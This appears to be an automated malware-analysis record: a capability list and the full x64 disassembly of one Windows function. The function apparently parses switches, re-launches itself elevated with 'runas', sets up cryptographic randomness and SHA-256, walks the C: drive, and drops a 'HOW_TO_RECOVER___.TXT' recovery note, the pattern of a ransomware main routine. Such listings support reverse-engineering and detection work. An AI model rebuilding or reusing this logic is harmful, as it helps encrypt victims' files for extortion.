Function at 0x140007a14
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r14d, r14d
mov rsi, rcx
mov qword [rbp - 0x80], r14
mov dil, r14b
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x30], r14b
mov dword [rbp - 0x78], r14d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r12, 0xffffffffffffffff
lea r15d, [r14 + 1]
mov r13, rax
test rax, rax
je 0x140007e0c
mov dword [rsp + 0x34], r15d
cmp dword [rbp - 0x78], r15d
jle 0x140007dfd
lea r14d, [r15 + 1]
xor edi, edi
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x1400509b4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007ac6
cmp dword [rbp - 0x78], r14d
jl 0x140007ac6
lea rcx, [rbp - 0x80]
jmp 0x140007b1e
mov rcx, qword [rbx]
lea rdx, [0x1400509c0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007aff
cmp dword [rbp - 0x78], r14d
jl 0x140007aff
mov rdx, qword [rbx + 8]
lea r8, [0x1400509bc]
lea rcx, [rsp + 0x78]
call fcn.140026004
mov byte [rsp + 0x30], 1
jmp 0x140007bb8
mov rcx, qword [rbx]
lea rdx, [0x1400509c8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b33
cmp dword [rbp - 0x78], r14d
jl 0x140007b33
lea rcx, [rsp + 0x78]
mov rdx, qword [rbx + 8]
lea r8, [0x1400509bc]
call fcn.140026004
jmp 0x140007bb8
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b95
cmp dword [rbp - 0x78], r14d
jl 0x140007b95
mov rax, qword [rsi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007b88
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007b6f
mov rcx, rax
call fcn.140004944
add qword [rsi + 8], 0x20
jmp 0x140007bb8
mov rdx, rax
mov rcx, rsi
call fcn.14000ad10
jmp 0x140007bb8
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007bb8
cmp dword [rbp - 0x78], r14d
jl 0x140007bb8
mov rcx, qword [rbx + 8]
call fcn.1400269b4
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140008058
and qword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007c1b
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
mov r9d, 4
mov dword [rbp - 0x50], 4
lea r8, [rbp - 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140007c2b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140007d95
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.14001ee30
lea rcx, [rbp + 0x40]
call fcn.14000926c
lea r15d, [rdi + 1]
cmp dword [rbp - 0x78], r15d
jle 0x140007c8b
lea rdi, [r13 + 8]
lea rcx, [rbp + 0x50]
call fcn.140009bdc
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140009ecc
mov rcx, rax
lea rdx, [0x140050a44]
call fcn.140009ecc
inc r15d
lea rdi, [rdi + 8]
cmp r15d, dword [rbp - 0x78]
jl 0x140007c5b
mov eax, dword [rbp + 0xc8]
xor edi, edi
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
and al, 0x22
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x70], di
lea r10d, [rdi + 7]
mov qword [rbp - 0x58], r10
movups xmmword [rsp + 0x58], xmm0
cmp al, 2
je 0x140007ce2
mov rax, qword [rbp + 0x98]
mov r8, qword [rax]
test r8, r8
je 0x140007ce2
cmp r8, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb r8, qword [rbp + 0xc0]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007d20
test byte [rbp + 0xc8], 4
jne 0x140007d16
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007d16
mov rax, qword [rbp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
jmp 0x140007cdd
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x140007d32
lea rcx, [rbp - 0x70]
call fcn.140009a88
mov r10, qword [rbp - 0x58]
mov r8, qword [r13]
lea r9, [rbp - 0x70]
cmp r10, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rdi
cmovae r9, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x70]
call fcn.140004864
lea rcx, [rbp + 0xd8]
call fcn.140009188
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001d6ec
mov r15d, dword [rsp + 0x34]
jmp 0x140007d97
xor edi, edi
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007dce
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007db5
mov rcx, rax
call fcn.140004944
add qword [rsi + 8], 0x20
jmp 0x140007ddc
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000ad10
inc r15d
inc r14d
add rbx, 8
mov dword [rsp + 0x34], r15d
cmp r15d, dword [rbp - 0x78]
jl 0x140007aa6
mov dil, byte [rsp + 0x30]
xor r14d, r14d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r15d, 1
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r15d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, dword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x74], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007e8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007eaa
mov r9d, r15d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007eaa
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x74]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x74]
lea r11, [0x14005c070]
mov dword [0x14005c070], eax
mov edx, r15d
mov eax, r15d
mov r8d, r15d
mov r9d, r15d
mov r10d, r15d
cdqe
mov ecx, dword [r11 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r11 + rax*4 - 4]
movsxd rax, r8d
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r9 + 1]
mov dword [r11 + rax*4], ecx
mov r8d, edx
movsxd rax, r10d
mov r9d, edx
mov dword [0x14005ca30], edx
mov r10d, edx
mov dword [r11 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140007ec9
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x140059c48]
xor eax, eax
mov byte [rsp + 0x38], 9
xorps xmm0, xmm0
mov qword [rsp + 0x49], rax
movups xmmword [rsp + 0x39], xmm0
lea r8, [rsp + 0x38]
mov dword [rsp + 0x51], eax
movups xmm0, xmmword [0x140059c38]
lea rdx, [rbp + 0x290]
mov word [rsp + 0x55], ax
lea rcx, [0x14005ba50]
mov byte [rsp + 0x57], al
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
call fcn.1400036c8
lea r8, [0x140059c60]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400036c8
movups xmm0, xmmword [rbp + 0x2b0]
mov r9d, 0x20
mov qword [rbp + 0x30], 0x20
movups xmm1, xmmword [rbp + 0x2c0]
and r9d, 0x3f
mov dword [rbp + 0x10], 0x6a09e667
mov ecx, r9d
mov dword [rbp + 0x14], 0xbb67ae85
not ecx
mov dword [rbp + 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp + 0x1c], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], 0x9b05688c
mov dword [rbp + 0x28], 0x1f83d9ab
mov dword [rbp + 0x2c], 0x5be0cd19
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
test r8d, r8d
je 0x140008013
lea rdx, [rbp - 0x30]
lea rdx, [rdx + r8*4]
lea rdx, [rdx - 4]
mov eax, dword [rdx]
bswap eax
mov dword [rdx], eax
add r8d, 0xffffffff
jne 0x140008003
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x30]
or edx, eax
mov dword [rbp + r8*4 - 0x30], edx
cmp r9d, 0x38
jae 0x1400080cc
shr r9d, 2
add r9d, r15d
cmp r9d, ebx
jae 0x140008104
jmp 0x1400080e8
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x23
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.140004944
movsxd rax, r15d
mov rdx, qword [r13 + rax*8]
inc r12
cmp word [rdx + r12*2], di
jne 0x140008085
mov r8, r12
lea rcx, [rbp - 0x70]
call fcn.1400048c8
cmp qword [rbp - 0x58], 8
lea rdx, [rbp - 0x70]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x70]
call fcn.140004864
jmp 0x140008227
mov eax, dword [rbp + 0xc]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov r9d, r14d
mov eax, r9d
lea rcx, [rbp - 0x30]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14001ee30
mov edx, dword [rbp + 0x30]
mov ecx, edx
mov eax, dword [rbp + 0x34]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp + 8], ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov edx, r14d
lea r9, [0x14005ba28]
mov r8, r14
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r15d
shl ecx, 3
mov dword [rbp + rax*4 - 0x30], r14d
mov rax, r8
shr rax, 2
add r8, r15
mov eax, dword [rbp + rax*4 + 0x10]
shr eax, cl
mov byte [r9], al
add r9, r15
cmp edx, 0x20
jb 0x140008137
call fcn.14000bca0
mov eax, dword [0x140059c58]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r12
jne 0x1400081b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1400081b0
mov dword [0x140059c58], r14d
jmp 0x1400081b9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14005bbd0]
call fcn.140005a24
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140007980]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x78]
mov r9, rsi
mov rcx, qword [rbp - 0x80]
mov r8b, dil
mov rbx, rax
call fcn.140006828
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005d38
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005ba28], xmm0
movups xmmword [0x14005ba38], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.1400073e4
mov rcx, rsi
call fcn.140009874
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14001bfb0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret